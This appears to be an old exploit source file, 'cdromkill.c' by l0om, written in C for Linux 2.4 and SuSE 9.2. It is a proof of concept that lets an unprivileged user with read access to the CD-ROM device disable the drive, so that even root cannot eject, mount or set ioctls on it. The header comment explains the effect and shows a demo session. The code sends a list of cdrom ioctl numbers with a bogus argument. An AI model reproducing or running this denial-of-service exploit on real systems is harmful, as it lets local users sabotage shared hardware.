/*	cdromkill.c
		by l0om  - WWW.EXCLUDED.ORG

	(tested on SuSE 9.2 [standard] , and linux 2.4.27	  (module cdrom.o))

	"it is summer- it is cloudy- it is beer time- it is time for a beer production!"
		--l0om - [a]nother [b]eer [p]roduction


	this program let you completly shutdown the cdrom drive. completely means:
	- ioctls cannot be set
	- cant eject
	- cant mount
	- cant open it physically on the normal way
	- same for the root user

	you need to have read permissions on the drive. for normal the permissions are
	brw-rw---- root disk

	but if badass loggs in on X
	brw------- badass disk

	now as user badass you can completly disable the cdrom drive.



	badass@linux:~/test> ./cdromkill /dev/hdb
	killing the cdrom drive... hopefully done  :)
	badass@linux:~/test> eject
	eject: kann `/dev/hdb' nicht öffnen
	badass@linux:~/test> su -c "eject"
	Password:
	eject: kann `/dev/hdb' nicht öffnen
	badass@linux:~/test> su -c "halt"
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

unsigned int deathrow[] = {
	0x5309,
	0x5309,
	0x530f,
	0x5319,
	0x5321,
	0x5325,
	0x5326,
	0x5327,
	0x5328,
	0x5329,
	0x5331,
	0x5450,
	0x5451,
	0xff
	};

int main(int argc, char **argv)
{
	int fd, i = 0;

	if(argc != 2) {
		printf("%s <dev>\n",argv[0]);
		return -1;
	}

	printf("killing the cdrom drive... "); fflush(stdout);
	if( (fd = open(argv[1], O_RDONLY|O_NONBLOCK)) == -1) {
		perror("open");
		return -1;
	}

	while(deathrow[i] != 0xff)
		if( (ioctl(fd, deathrow[i], 0xff) == -1) && !i) {
			printf(" outch! may have faild!\n");
			perror("ioctl");
		} else i++;
	printf("hopefully done  :)\n");
	return 0;
}



